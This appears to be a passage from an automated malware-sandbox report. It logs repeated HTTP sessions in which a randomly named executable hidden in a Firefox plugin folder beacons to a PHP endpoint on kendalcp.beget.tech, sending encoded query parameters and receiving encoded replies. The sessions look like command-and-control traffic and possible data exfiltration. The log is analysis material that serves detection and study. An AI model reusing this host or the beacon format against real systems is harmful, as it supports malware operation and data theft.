Z0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:13:33.539866924 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49977	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:38.547838926 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:39.476577044 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50008	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:44.485260010 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:45.426364899 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50030	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:50.438452005 CET	2158	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZ [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:51.398377895 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50031	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:56.422775984 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:57.386229992 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50032	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:02.407382011 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:14:03.362790108 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50033	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:08.376904964 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:14:09.324198961 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye
Nov 7, 2024 21:14:09.538063049 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50034	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:14.344783068 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:14:15.301500082 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50035	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:20.313622952 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
